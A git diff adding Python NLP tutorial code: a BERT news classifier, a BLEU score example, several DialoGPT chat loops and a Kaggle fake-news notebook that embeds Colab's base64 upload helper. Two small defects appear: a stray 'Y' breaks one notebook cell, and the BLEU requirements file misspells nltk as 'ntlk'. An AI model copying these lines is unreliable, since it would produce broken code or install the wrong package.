+ inputs = tokenizer(text, padding=True, truncation=True, max_length=max_length, return_tensors="pt").to("cuda")
+ # perform inference to our model
+ outputs = model(**inputs)
+ # get output probabilities by doing softmax
+ probs = outputs[0].softmax(1)
+ # executing argmax function to get the candidate label
+ return target_names[probs.argmax()]
+
+# Example #1
+text = """With the pace of smartphone evolution moving so fast, there's always something waiting in the wings.
+No sooner have you spied the latest handset, that there's anticipation for the next big thing.
+Here we look at those phones that haven't yet launched, the upcoming phones for 2021.
+We'll be updating this list on a regular basis, with those device rumours we think are credible and exciting."""
+print(get_prediction(text))
+# Example #2
+text = """
+A black hole is a place in space where gravity pulls so much that even light can not get out.
+The gravity is so strong because matter has been squeezed into a tiny space. This can happen when a star is dying.
+Because no light can get out, people can't see black holes.
+They are invisible. Space telescopes with special tools can help find black holes.
+The special tools can see how stars that are very close to black holes act differently than other stars.
+"""
+print(get_prediction(text))
\ No newline at end of file
diff --git a/machine-learning/nlp/bert-text-classification/requirements.txt b/machine-learning/nlp/bert-text-classification/requirements.txt
new file mode 100644
index 00000000..af3928e4
--- /dev/null
+++ b/machine-learning/nlp/bert-text-classification/requirements.txt
@@ -0,0 +1,4 @@
+transformers
+torch
+numpy
+sklearn
\ No newline at end of file
diff --git a/machine-learning/nlp/bert-text-classification/train.py b/machine-learning/nlp/bert-text-classification/train.py
new file mode 100644
index 00000000..790ed74d
--- /dev/null
+++ b/machine-learning/nlp/bert-text-classification/train.py
@@ -0,0 +1,114 @@
+# !pip install transformers
+
+import torch
+from transformers.file_utils import is_tf_available, is_torch_available, is_torch_tpu_available
+from transformers import BertTokenizerFast, BertForSequenceClassification
+from transformers import Trainer, TrainingArguments
+import numpy as np
+import random
+from sklearn.datasets import fetch_20newsgroups
+from sklearn.model_selection import train_test_split
+from sklearn.metrics import accuracy_score
+
+
+def set_seed(seed: int):
+ """
+ Helper function for reproducible behavior to set the seed in ``random``, ``numpy``, ``torch`` and/or ``tf`` (if
+ installed).
+
+ Args:
+ seed (:obj:`int`): The seed to set.
+ """
+ random.seed(seed)
+ np.random.seed(seed)
+ if is_torch_available():
+ torch.manual_seed(seed)
+ torch.cuda.manual_seed_all(seed)
+ # safe to call this function even if cuda is not available
+ if is_tf_available():
+ import tensorflow as tf
+ tf.random.set_seed(seed)
+
+set_seed(1)
+
+# the model we gonna train, base uncased BERT
+# check text classification models here: https://huggingface.co/models?filter=text-classification
+model_name = "bert-base-uncased"
+# max sequence length for each document/sentence sample
+max_length = 512
+# load the tokenizer
+tokenizer = BertTokenizerFast.from_pretrained(model_name, do_lower_case=True)
+
+def read_20newsgroups(test_size=0.2):
+ # download & load 20newsgroups dataset from sklearn's repos
+ dataset = fetch_20newsgroups(subset="all", shuffle=True, remove=("headers", "footers", "quotes"))
+ documents = dataset.data
+ labels = dataset.target
+ # split into training & testing a return data as well as label names
+ return train_test_split(documents, labels, test_size=test_size), dataset.target_names
+
+# call the function
+(train_texts, valid_texts, train_labels, valid_labels), target_names = read_20newsgroups()
+# tokenize the dataset, truncate when passed `max_length`,
+# and pad with 0's when less than `max_length`
+train_encodings = tokenizer(train_texts, truncation=True, padding=True, max_length=max_length)
+valid_encodings = tokenizer(valid_texts, truncation=True, padding=True, max_length=max_length)
+
+class NewsGroupsDataset(torch.utils.data.Dataset):
+ def __init__(self, encodings, labels):
+ self.encodings = encodings
+ self.labels = labels
+
+ def __getitem__(self, idx):
+ item = {k: torch.tensor(v[idx]) for k, v in self.encodings.items()}
+ item["labels"] = torch.tensor([self.labels[idx]])
+ return item
+
+ def __len__(self):
+ return len(self.labels)
+
+# convert our tokenized data into a torch Dataset
+train_dataset = NewsGroupsDataset(train_encodings, train_labels)
+valid_dataset = NewsGroupsDataset(valid_encodings, valid_labels)
+# load the model and pass to CUDA
+model = BertForSequenceClassification.from_pretrained(model_name, num_labels=len(target_names)).to("cuda")
+
+def compute_metrics(pred):
+ labels = pred.label_ids
+ preds = pred.predictions.argmax(-1)
+ # calculate accuracy using sklearn's function
+ acc = accuracy_score(labels, preds)
+ return {
+ 'accuracy': acc,
+ }
+
+training_args = TrainingArguments(
+ output_dir='./results', # output directory
+ num_train_epochs=3, # total number of training epochs
+ per_device_train_batch_size=8, # batch size per device during training
+ per_device_eval_batch_size=20, # batch size for evaluation
+ warmup_steps=500, # number of warmup steps for learning rate scheduler
+ weight_decay=0.01, # strength of weight decay
+ logging_dir='./logs', # directory for storing logs
+ load_best_model_at_end=True, # load the best model when finished training (default metric is loss)
+ # but you can specify `metric_for_best_model` argument to change to accuracy or other metric
+ logging_steps=400, # log & save weights each logging_steps
+ save_steps=400,
+ evaluation_strategy="steps", # evaluate each `logging_steps`
+)
+
+trainer = Trainer(
+ model=model, # the instantiated Transformers model to be trained
+ args=training_args, # training arguments, defined above
+ train_dataset=train_dataset, # training dataset
+ eval_dataset=valid_dataset, # evaluation dataset
+ compute_metrics=compute_metrics, # the callback that computes metrics of interest
+)
+# train the model
+trainer.train()
+# evaluate the current model after training
+trainer.evaluate()
+# saving the fine tuned model & tokenizer
+model_path = "20newsgroups-bert-base-uncased"
+model.save_pretrained(model_path)
+tokenizer.save_pretrained(model_path)
\ No newline at end of file
diff --git a/machine-learning/nlp/bleu-score/README.md b/machine-learning/nlp/bleu-score/README.md
new file mode 100644
index 00000000..00804391
--- /dev/null
+++ b/machine-learning/nlp/bleu-score/README.md
@@ -0,0 +1 @@
+# [How to Calculate the BLEU Score in Python](https://www.thepythoncode.com/article/bleu-score-in-python)
\ No newline at end of file
diff --git a/machine-learning/nlp/bleu-score/bleu_score.py b/machine-learning/nlp/bleu-score/bleu_score.py
new file mode 100644
index 00000000..e80cfa11
--- /dev/null
+++ b/machine-learning/nlp/bleu-score/bleu_score.py
@@ -0,0 +1,33 @@
+# -*- coding: utf-8 -*-
+"""BLEU Score.ipynb
+
+Automatically generated by Colaboratory.
+
+Original file is located at
+ https://colab.research.google.com/drive/1dSsETrstp-EEGMX46nc-m_jw00nzkaNZ
+"""
+
+from nltk.translate.bleu_score import sentence_bleu, corpus_bleu
+
+# Prepare the reference sentences
+reference1 = ['I', 'love', 'eating', 'ice', 'cream']
+reference2 = ['I', 'enjoy', 'eating', 'ice', 'cream']
+
+# Prepare the candidate sentence
+translation = ['I', 'love', 'eating', 'ice', 'cream']
+
+# Calculate the BLEU score for a single sentence
+bleu_score = sentence_bleu([reference1, reference2], translation)
+print("BLEU Score: ", bleu_score)
+
+# Prepare the reference sentences and candidate sentences for multiple translations
+references = [['I', 'love', 'eating', 'ice', 'cream'], ['He', 'enjoys', 'eating', 'cake']]
+translations = [['I', 'love', 'eating', 'ice', 'cream'], ['He', 'likes', 'to', 'eat', 'cake']]
+
+# Create a list of reference lists
+references_list = [[ref] for ref in references]
+
+# Calculate BLEU score for the entire corpus
+bleu_score_corpus = corpus_bleu(references_list, translations)
+print("Corpus BLEU Score: ", bleu_score_corpus)
+
diff --git a/machine-learning/nlp/bleu-score/requirements.txt b/machine-learning/nlp/bleu-score/requirements.txt
new file mode 100644
index 00000000..13b03ed0
--- /dev/null
+++ b/machine-learning/nlp/bleu-score/requirements.txt
@@ -0,0 +1 @@
+ntlk
\ No newline at end of file
diff --git a/machine-learning/nlp/chatbot-transformers/DialoGPT.ipynb b/machine-learning/nlp/chatbot-transformers/DialoGPT.ipynb
new file mode 100644
index 00000000..fdf3b5e8
--- /dev/null
+++ b/machine-learning/nlp/chatbot-transformers/DialoGPT.ipynb
@@ -0,0 +1,1579 @@
+{
+ "nbformat": 4,
+ "nbformat_minor": 0,
+ "metadata": {
+ "colab": {
+ "name": "DialoGPT.ipynb",
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+ },
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+ "name": "python3",
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+ "outputId": "59e4a92f-5f9b-4f82-f38e-007476689111"
+ },
+ "source": [
+ "!pip install transformers"
+ ],
+ "execution_count": null,
+ "outputs": []
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+ "colab": {
+ "base_uri": "https://localhost:8080/",
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+ "id": "2a18CRZ_QU0T",
+ "outputId": "7a7f581a-9357-4a64-b291-78725dd1305c"
+ },
+ "source": [
+ "from transformers import AutoModelForCausalLM, AutoTokenizer\n",
+ "import torch\n",
+ "\n",
+ "# model_name = \"microsoft/DialoGPT-large\"\n",
+ "model_name = \"microsoft/DialoGPT-medium\"\n",
+ "# model_name = \"microsoft/DialoGPT-small\"\n",
+ "tokenizer = AutoTokenizer.from_pretrained(model_name)\n",
+ "model = AutoModelForCausalLM.from_pretrained(model_name)"
+ ],
+ "execution_count": null,
+ "outputs": []
+ },
+ {
+ "cell_type": "code",
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "hLlcHnisQYeU",
+ "outputId": "a02694cf-a1f8-4027-a371-259f5770c43d"
+ },
+ "source": [
+ "# chatting 5 times with greedy search\n",
+ "for step in range(5):\n",
+ " # take user input\n",
+ " text = input(\">> You:\")\n",
+ " # encode the input and add end of string token\n",
+ " input_ids = tokenizer.encode(text + tokenizer.eos_token, return_tensors=\"pt\")\n",
+ " # concatenate new user input with chat history (if there is)\n",
+ " bot_input_ids = torch.cat([chat_history_ids, input_ids], dim=-1) if step > 0 else input_ids\n",
+ " # generate a bot response\n",
+ " chat_history_ids = model.generate(\n",
+ " bot_input_ids,\n",
+ " max_length=1000,\n",
+ " pad_token_id=tokenizer.eos_token_id,\n",
+ " )\n",
+ " #print the output\n",
+ " output = tokenizer.decode(chat_history_ids[:, bot_input_ids.shape[-1]:][0], skip_special_tokens=True)\n",
+ " print(f\"DialoGPT: {output}\")"
+ ],
+ "execution_count": null,
+ "outputs": []
+ },
+ {
+ "cell_type": "code",
+ "metadata": {
+ "id": "4BowrvR6QY7V",
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "outputId": "97b24dd0-c4a0-4499-c149-f0263d6ed5e7"
+ },
+ "source": [
+ "# chatting 5 times with beam search\n",
+ "for step in range(5):\n",
+ " # take user input\n",
+ " text = input(\">> You:\")\n",
+ " # encode the input and add end of string token\n",
+ " input_ids = tokenizer.encode(text + tokenizer.eos_token, return_tensors=\"pt\")\n",
+ " # concatenate new user input with chat history (if there is)\n",
+ " bot_input_ids = torch.cat([chat_history_ids, input_ids], dim=-1) if step > 0 else input_ids\n",
+ " # generate a bot response\n",
+ " chat_history_ids = model.generate(\n",
+ " bot_input_ids,\n",
+ " max_length=1000,\n",
+ " num_beams=3,\n",
+ " early_stopping=True,\n",
+ " pad_token_id=tokenizer.eos_token_id\n",
+ " )\n",
+ " #print the output\n",
+ " output = tokenizer.decode(chat_history_ids[:, bot_input_ids.shape[-1]:][0], skip_special_tokens=True)\n",
+ " print(f\"DialoGPT: {output}\")"
+ ],
+ "execution_count": null,
+ "outputs": []
+ },
+ {
+ "cell_type": "code",
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "Fl96NOmzGKDl",
+ "outputId": "23992d2c-413d-4fcd-afc3-24e47170c4b2"
+ },
+ "source": [
+ "# chatting 5 times with sampling\n",
+ "for step in range(5):\n",
+ " # take user input\n",
+ " text = input(\">> You:\")\n",
+ " # encode the input and add end of string token\n",
+ " input_ids = tokenizer.encode(text + tokenizer.eos_token, return_tensors=\"pt\")\n",
+ " # concatenate new user input with chat history (if there is)\n",
+ " bot_input_ids = torch.cat([chat_history_ids, input_ids], dim=-1) if step > 0 else input_ids\n",
+ " # generate a bot response\n",
+ " chat_history_ids = model.generate(\n",
+ " bot_input_ids,\n",
+ " max_length=1000,\n",
+ " do_sample=True,\n",
+ " top_k=0,\n",
+ " pad_token_id=tokenizer.eos_token_id\n",
+ " )\n",
+ " #print the output\n",
+ " output = tokenizer.decode(chat_history_ids[:, bot_input_ids.shape[-1]:][0], skip_special_tokens=True)\n",
+ " print(f\"DialoGPT: {output}\")"
+ ],
+ "execution_count": null,
+ "outputs": []
+ },
+ {
+ "cell_type": "code",
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 622
+ },
+ "id": "kxooQQiVJXVd",
+ "outputId": "1c81b56c-5eb1-4263-f763-9ddee7d9897b"
+ },
+ "source": [
+ "# chatting 5 times with sampling & tweaking temperature\n",
+ "for step in range(5):\n",
+ " # take user input\n",
+ " text = input(\">> You:\")\n",
+ " # encode the input and add end of string token\n",
+ " input_ids = tokenizer.encode(text + tokenizer.eos_token, return_tensors=\"pt\")\n",
+ " # concatenate new user input with chat history (if there is)\n",
+ " bot_input_ids = torch.cat([chat_history_ids, input_ids], dim=-1) if step > 0 else input_ids\n",
+ " # generate a bot response\n",
+ " chat_history_ids = model.generate(\n",
+ " bot_input_ids,\n",
+ " max_length=1000,\n",
+ " do_sample=True,\n",
+ " top_k=0,\n",
+ " temperature=0.75,\n",
+ " pad_token_id=tokenizer.eos_token_id\n",
+ " )\n",
+ " #print the output\n",
+ " output = tokenizer.decode(chat_history_ids[:, bot_input_ids.shape[-1]:][0], skip_special_tokens=True)\n",
+ " print(f\"DialoGPT: {output}\")"
+ ],
+ "execution_count": null,
+ "outputs": []
+ },
+ {
+ "cell_type": "code",
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "v0K9mYk_KMsI",
+ "outputId": "3c627eeb-0c64-45fe-9533-884865a24665"
+ },
+ "source": [
+ "# chatting 5 times with Top K sampling & tweaking temperature\n",
+ "for step in range(5):\n",
+ " # take user input\n",
+ " text = input(\">> You:\")\n",
+ " # encode the input and add end of string token\n",
+ " input_ids = tokenizer.encode(text + tokenizer.eos_token, return_tensors=\"pt\")\n",
+ " # concatenate new user input with chat history (if there is)\n",
+ " bot_input_ids = torch.cat([chat_history_ids, input_ids], dim=-1) if step > 0 else input_ids\n",
+ " # generate a bot response\n",
+ " chat_history_ids = model.generate(\n",
+ " bot_input_ids,\n",
+ " max_length=1000,\n",
+ " do_sample=True,\n",
+ " top_k=100,\n",
+ " temperature=0.75,\n",
+ " pad_token_id=tokenizer.eos_token_id\n",
+ " )\n",
+ " #print the output\n",
+ " output = tokenizer.decode(chat_history_ids[:, bot_input_ids.shape[-1]:][0], skip_special_tokens=True)\n",
+ " print(f\"DialoGPT: {output}\")"
+ ],
+ "execution_count": null,
+ "outputs": []
+ },
+ {
+ "cell_type": "code",
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "Lbj7DOfKKuct",
+ "outputId": "c87b97ff-b0d6-4d8a-eeae-419f875aa66b"
+ },
+ "source": [
+ "# chatting 5 times with nucleus sampling & tweaking temperature\n",
+ "for step in range(5):\n",
+ " # take user input\n",
+ " text = input(\">> You:\")\n",
+ " # encode the input and add end of string token\n",
+ " input_ids = tokenizer.encode(text + tokenizer.eos_token, return_tensors=\"pt\")\n",
+ " # concatenate new user input with chat history (if there is)\n",
+ " bot_input_ids = torch.cat([chat_history_ids, input_ids], dim=-1) if step > 0 else input_ids\n",
+ " # generate a bot response\n",
+ " chat_history_ids = model.generate(\n",
+ " bot_input_ids,\n",
+ " max_length=1000,\n",
+ " do_sample=True,\n",
+ " top_p=0.95,\n",
+ " top_k=0,\n",
+ " temperature=0.75,\n",
+ " pad_token_id=tokenizer.eos_token_id\n",
+ " )\n",
+ " #print the output\n",
+ " output = tokenizer.decode(chat_history_ids[:, bot_input_ids.shape[-1]:][0], skip_special_tokens=True)\n",
+ " print(f\"DialoGPT: {output}\")"
+ ],
+ "execution_count": null,
+ "outputs": []
+ },
+ {
+ "cell_type": "code",
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "eIAojx7aNndK",
+ "outputId": "2abca6c7-1bcc-4d45-95e1-04a9790fec55"
+ },
+ "source": [
+ "# chatting 5 times with nucleus & top-k sampling & tweaking temperature & multiple\n",
+ "# sentences\n",
+ "for step in range(5):\n",
+ " # take user input\n",
+ " text = input(\">> You:\")\n",
+ " # encode the input and add end of string token\n",
+ " input_ids = tokenizer.encode(text + tokenizer.eos_token, return_tensors=\"pt\")\n",
+ " # concatenate new user input with chat history (if there is)\n",
+ " bot_input_ids = torch.cat([chat_history_ids, input_ids], dim=-1) if step > 0 else input_ids\n",
+ " # generate a bot response\n",
+ " chat_history_ids_list = model.generate(\n",
+ " bot_input_ids,\n",
+ " max_length=1000,\n",
+ " do_sample=True,\n",
+ " top_p=0.95,\n",
+ " top_k=50,Y\n",
+ " temperature=0.75,\n",
+ " num_return_sequences=5,\n",
+ " pad_token_id=tokenizer.eos_token_id\n",
+ " )\n",
+ " #print the outputs\n",
+ " for i in range(len(chat_history_ids_list)):\n",
+ " output = tokenizer.decode(chat_history_ids_list[i][bot_input_ids.shape[-1]:], skip_special_tokens=True)\n",
+ " print(f\"DialoGPT {i}: {output}\")\n",
+ " choice_index = int(input(\"Choose the response you want for the next input: \"))\n",
+ " chat_history_ids = torch.unsqueeze(chat_history_ids_list[choice_index], dim=0)"
+ ],
+ "execution_count": null,
+ "outputs": []
+ },
+ {
+ "cell_type": "code",
+ "metadata": {
+ "id": "77vpEd8jQ7W8"
+ },
+ "source": [],
+ "execution_count": null,
+ "outputs": []
+ }
+ ]
+}
\ No newline at end of file
diff --git a/machine-learning/nlp/chatbot-transformers/README.md b/machine-learning/nlp/chatbot-transformers/README.md
new file mode 100644
index 00000000..ee7032fe
--- /dev/null
+++ b/machine-learning/nlp/chatbot-transformers/README.md
@@ -0,0 +1,2 @@
+# [Conversational AI Chatbot with Transformers in Python](https://www.thepythoncode.com/article/conversational-ai-chatbot-with-huggingface-transformers-in-python)
+
\ No newline at end of file
diff --git a/machine-learning/nlp/chatbot-transformers/dialogpt.py b/machine-learning/nlp/chatbot-transformers/dialogpt.py
new file mode 100644
index 00000000..72c90e0e
--- /dev/null
+++ b/machine-learning/nlp/chatbot-transformers/dialogpt.py
@@ -0,0 +1,169 @@
+# -*- coding: utf-8 -*-
+"""DialoGPT.ipynb
+
+Automatically generated by Colaboratory.
+
+Original file is located at
+ https://colab.research.google.com/drive/1KAg6X8RFHE0KSvFSZ__w7KGZrSqT4cZ3
+"""
+
+# !pip install transformers
+
+from transformers import AutoModelForCausalLM, AutoTokenizer
+import torch
+
+# model_name = "microsoft/DialoGPT-large"
+model_name = "microsoft/DialoGPT-medium"
+# model_name = "microsoft/DialoGPT-small"
+tokenizer = AutoTokenizer.from_pretrained(model_name)
+model = AutoModelForCausalLM.from_pretrained(model_name)
+print("====Greedy search chat====")
+# chatting 5 times with greedy search
+for step in range(5):
+ # take user input
+ text = input(">> You:")
+ # encode the input and add end of string token
+ input_ids = tokenizer.encode(text + tokenizer.eos_token, return_tensors="pt")
+ # concatenate new user input with chat history (if there is)
+ bot_input_ids = torch.cat([chat_history_ids, input_ids], dim=-1) if step > 0 else input_ids
+ # generate a bot response
+ chat_history_ids = model.generate(
+ bot_input_ids,
+ max_length=1000,
+ pad_token_id=tokenizer.eos_token_id,
+ )
+ #print the output
+ output = tokenizer.decode(chat_history_ids[:, bot_input_ids.shape[-1]:][0], skip_special_tokens=True)
+ print(f"DialoGPT: {output}")
+print("====Beam search chat====")
+# chatting 5 times with beam search
+for step in range(5):
+ # take user input
+ text = input(">> You:")
+ # encode the input and add end of string token
+ input_ids = tokenizer.encode(text + tokenizer.eos_token, return_tensors="pt")
+ # concatenate new user input with chat history (if there is)
+ bot_input_ids = torch.cat([chat_history_ids, input_ids], dim=-1) if step > 0 else input_ids
+ # generate a bot response
+ chat_history_ids = model.generate(
+ bot_input_ids,
+ max_length=1000,
+ num_beams=3,
+ early_stopping=True,
+ pad_token_id=tokenizer.eos_token_id
+ )
+ #print the output
+ output = tokenizer.decode(chat_history_ids[:, bot_input_ids.shape[-1]:][0], skip_special_tokens=True)
+ print(f"DialoGPT: {output}")
+print("====Sampling chat====")
+# chatting 5 times with sampling
+for step in range(5):
+ # take user input
+ text = input(">> You:")
+ # encode the input and add end of string token
+ input_ids = tokenizer.encode(text + tokenizer.eos_token, return_tensors="pt")
+ # concatenate new user input with chat history (if there is)
+ bot_input_ids = torch.cat([chat_history_ids, input_ids], dim=-1) if step > 0 else input_ids
+ # generate a bot response
+ chat_history_ids = model.generate(
+ bot_input_ids,
+ max_length=1000,
+ do_sample=True,
+ top_k=0,
+ pad_token_id=tokenizer.eos_token_id
+ )
+ #print the output
+ output = tokenizer.decode(chat_history_ids[:, bot_input_ids.shape[-1]:][0], skip_special_tokens=True)
+ print(f"DialoGPT: {output}")
+print("====Sampling chat with tweaking temperature====")
+# chatting 5 times with sampling & tweaking temperature
+for step in range(5):
+ # take user input
+ text = input(">> You:")
+ # encode the input and add end of string token
+ input_ids = tokenizer.encode(text + tokenizer.eos_token, return_tensors="pt")
+ # concatenate new user input with chat history (if there is)
+ bot_input_ids = torch.cat([chat_history_ids, input_ids], dim=-1) if step > 0 else input_ids
+ # generate a bot response
+ chat_history_ids = model.generate(
+ bot_input_ids,
+ max_length=1000,
+ do_sample=True,
+ top_k=0,
+ temperature=0.75,
+ pad_token_id=tokenizer.eos_token_id
+ )
+ #print the output
+ output = tokenizer.decode(chat_history_ids[:, bot_input_ids.shape[-1]:][0], skip_special_tokens=True)
+ print(f"DialoGPT: {output}")
+print("====Top-K sampling chat with tweaking temperature====")
+# chatting 5 times with Top K sampling & tweaking temperature
+for step in range(5):
+ # take user input
+ text = input(">> You:")
+ # encode the input and add end of string token
+ input_ids = tokenizer.encode(text + tokenizer.eos_token, return_tensors="pt")
+ # concatenate new user input with chat history (if there is)
+ bot_input_ids = torch.cat([chat_history_ids, input_ids], dim=-1) if step > 0 else input_ids
+ # generate a bot response
+ chat_history_ids = model.generate(
+ bot_input_ids,
+ max_length=1000,
+ do_sample=True,
+ top_k=100,
+ temperature=0.75,
+ pad_token_id=tokenizer.eos_token_id
+ )
+ #print the output
+ output = tokenizer.decode(chat_history_ids[:, bot_input_ids.shape[-1]:][0], skip_special_tokens=True)
+ print(f"DialoGPT: {output}")
+print("====Nucleus sampling (top-p) chat with tweaking temperature====")
+# chatting 5 times with nucleus sampling & tweaking temperature
+for step in range(5):
+ # take user input
+ text = input(">> You:")
+ # encode the input and add end of string token
+ input_ids = tokenizer.encode(text + tokenizer.eos_token, return_tensors="pt")
+ # concatenate new user input with chat history (if there is)
+ bot_input_ids = torch.cat([chat_history_ids, input_ids], dim=-1) if step > 0 else input_ids
+ # generate a bot response
+ chat_history_ids = model.generate(
+ bot_input_ids,
+ max_length=1000,
+ do_sample=True,
+ top_p=0.95,
+ top_k=0,
+ temperature=0.75,
+ pad_token_id=tokenizer.eos_token_id
+ )
+ #print the output
+ output = tokenizer.decode(chat_history_ids[:, bot_input_ids.shape[-1]:][0], skip_special_tokens=True)
+ print(f"DialoGPT: {output}")
+print("====chatting 5 times with nucleus & top-k sampling & tweaking temperature & multiple sentences====")
+# chatting 5 times with nucleus & top-k sampling & tweaking temperature & multiple
+# sentences
+for step in range(5):
+ # take user input
+ text = input(">> You:")
+ # encode the input and add end of string token
+ input_ids = tokenizer.encode(text + tokenizer.eos_token, return_tensors="pt")
+ # concatenate new user input with chat history (if there is)
+ bot_input_ids = torch.cat([chat_history_ids, input_ids], dim=-1) if step > 0 else input_ids
+ # generate a bot response
+ chat_history_ids_list = model.generate(
+ bot_input_ids,
+ max_length=1000,
+ do_sample=True,
+ top_p=0.95,
+ top_k=50,
+ temperature=0.75,
+ num_return_sequences=5,
+ pad_token_id=tokenizer.eos_token_id
+ )
+ #print the outputs
+ for i in range(len(chat_history_ids_list)):
+ output = tokenizer.decode(chat_history_ids_list[i][bot_input_ids.shape[-1]:], skip_special_tokens=True)
+ print(f"DialoGPT {i}: {output}")
+ choice_index = int(input("Choose the response you want for the next input: "))
+ chat_history_ids = torch.unsqueeze(chat_history_ids_list[choice_index], dim=0)
+
diff --git a/machine-learning/nlp/chatbot-transformers/requirements.txt b/machine-learning/nlp/chatbot-transformers/requirements.txt
new file mode 100644
index 00000000..747b7aa9
--- /dev/null
+++ b/machine-learning/nlp/chatbot-transformers/requirements.txt
@@ -0,0 +1 @@
+transformers
\ No newline at end of file
diff --git a/machine-learning/nlp/fake-news-classification/README.md b/machine-learning/nlp/fake-news-classification/README.md
new file mode 100644
index 00000000..f4b62173
--- /dev/null
+++ b/machine-learning/nlp/fake-news-classification/README.md
@@ -0,0 +1,3 @@
+# [Fake News Detection using Transformers in Python](https://www.thepythoncode.com/article/fake-news-classification-in-python)
+To run this:
+- `pip3 install -r requirements.txt`
\ No newline at end of file
diff --git a/machine-learning/nlp/fake-news-classification/fakenews-detection.ipynb b/machine-learning/nlp/fake-news-classification/fakenews-detection.ipynb
new file mode 100644
index 00000000..93d2fd31
--- /dev/null
+++ b/machine-learning/nlp/fake-news-classification/fakenews-detection.ipynb
@@ -0,0 +1,2826 @@
+{
+ "cells": [
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "VVhpmlBLDSmV"
+ },
+ "outputs": [],
+ "source": [
+ "!pip install -q kaggle"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "8u5TrzZQDUNh"
+ },
+ "outputs": [],
+ "source": [
+ "from google.colab import files"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 93,
+ "resources": {
+ "http://localhost:8080/nbextensions/google.colab/files.js": {
+ "data": "Ly8gQ29weXJpZ2h0IDIwMTcgR29vZ2xlIExMQwovLwovLyBMaWNlbnNlZCB1bmRlciB0aGUgQXBhY2hlIExpY2Vuc2UsIFZlcnNpb24gMi4wICh0aGUgIkxpY2Vuc2UiKTsKLy8geW91IG1heSBub3QgdXNlIHRoaXMgZmlsZSBleGNlcHQgaW4gY29tcGxpYW5jZSB3aXRoIHRoZSBMaWNlbnNlLgovLyBZb3UgbWF5IG9idGFpbiBhIGNvcHkgb2YgdGhlIExpY2Vuc2UgYXQKLy8KLy8gICAgICBodHRwOi8vd3d3LmFwYWNoZS5vcmcvbGljZW5zZXMvTElDRU5TRS0yLjAKLy8KLy8gVW5sZXNzIHJlcXVpcmVkIGJ5IGFwcGxpY2FibGUgbGF3IG9yIGFncmVlZCB0byBpbiB3cml0aW5nLCBzb2Z0d2FyZQovLyBkaXN0cmlidXRlZCB1bmRlciB0aGUgTGljZW5zZSBpcyBkaXN0cmlidXRlZCBvbiBhbiAiQVMgSVMiIEJBU0lTLAovLyBXSVRIT1VUIFdBUlJBTlRJRVMgT1IgQ09ORElUSU9OUyBPRiBBTlkgS0lORCwgZWl0aGVyIGV4cHJlc3Mgb3IgaW1wbGllZC4KLy8gU2VlIHRoZSBMaWNlbnNlIGZvciB0aGUgc3BlY2lmaWMgbGFuZ3VhZ2UgZ292ZXJuaW5nIHBlcm1pc3Npb25zIGFuZAovLyBsaW1pdGF0aW9ucyB1bmRlciB0aGUgTGljZW5zZS4KCi8qKgogKiBAZmlsZW92ZXJ2aWV3IEhlbHBlcnMgZm9yIGdvb2dsZS5jb2xhYiBQeXRob24gbW9kdWxlLgogKi8KKGZ1bmN0aW9uKHNjb3BlKSB7CmZ1bmN0aW9uIHNwYW4odGV4dCwgc3R5bGVBdHRyaWJ1dGVzID0ge30pIHsKICBjb25zdCBlbGVtZW50ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc3BhbicpOwogIGVsZW1lbnQudGV4dENvbnRlbnQgPSB0ZXh0OwogIGZvciAoY29uc3Qga2V5IG9mIE9iamVjdC5rZXlzKHN0eWxlQXR0cmlidXRlcykpIHsKICAgIGVsZW1lbnQuc3R5bGVba2V5XSA9IHN0eWxlQXR0cmlidXRlc1trZXldOwogIH0KICByZXR1cm4gZWxlbWVudDsKfQoKLy8gTWF4IG51bWJlciBvZiBieXRlcyB3aGljaCB3aWxsIGJlIHVwbG9hZGVkIGF0IGEgdGltZS4KY29uc3QgTUFYX1BBWUxPQURfU0laRSA9IDEwMCAqIDEwMjQ7CgpmdW5jdGlvbiBfdXBsb2FkRmlsZXMoaW5wdXRJZCwgb3V0cHV0SWQpIHsKICBjb25zdCBzdGVwcyA9IHVwbG9hZEZpbGVzU3RlcChpbnB1dElkLCBvdXRwdXRJZCk7CiAgY29uc3Qgb3V0cHV0RWxlbWVudCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKG91dHB1dElkKTsKICAvLyBDYWNoZSBzdGVwcyBvbiB0aGUgb3V0cHV0RWxlbWVudCB0byBtYWtlIGl0IGF2YWlsYWJsZSBmb3IgdGhlIG5leHQgY2FsbAogIC8vIHRvIHVwbG9hZEZpbGVzQ29udGludWUgZnJvbSBQeXRob24uCiAgb3V0cHV0RWxlbWVudC5zdGVwcyA9IHN0ZXBzOwoKICByZXR1cm4gX3VwbG9hZEZpbGVzQ29udGludWUob3V0cHV0SWQpOwp9CgovLyBUaGlzIGlzIHJvdWdobHkgYW4gYXN5bmMgZ2VuZXJhdG9yIChub3Qgc3VwcG9ydGVkIGluIHRoZSBicm93c2VyIHlldCksCi8vIHdoZXJlIHRoZXJlIGFyZSBtdWx0aXBsZSBhc3luY2hyb25vdXMgc3RlcHMgYW5kIHRoZSBQeXRob24gc2lkZSBpcyBnb2luZwovLyB0byBwb2xsIGZvciBjb21wbGV0aW9uIG9mIGVhY2ggc3RlcC4KLy8gVGhpcyB1c2VzIGEgUHJvbWlzZSB0byBibG9jayB0aGUgcHl0aG9uIHNpZGUgb24gY29tcGxldGlvbiBvZiBlYWNoIHN0ZXAsCi8vIHRoZW4gcGFzc2VzIHRoZSByZXN1bHQgb2YgdGhlIHByZXZpb3VzIHN0ZXAgYXMgdGhlIGlucHV0IHRvIHRoZSBuZXh0IHN0ZXAuCmZ1bmN0aW9uIF91cGxvYWRGaWxlc0NvbnRpbnVlKG91dHB1dElkKSB7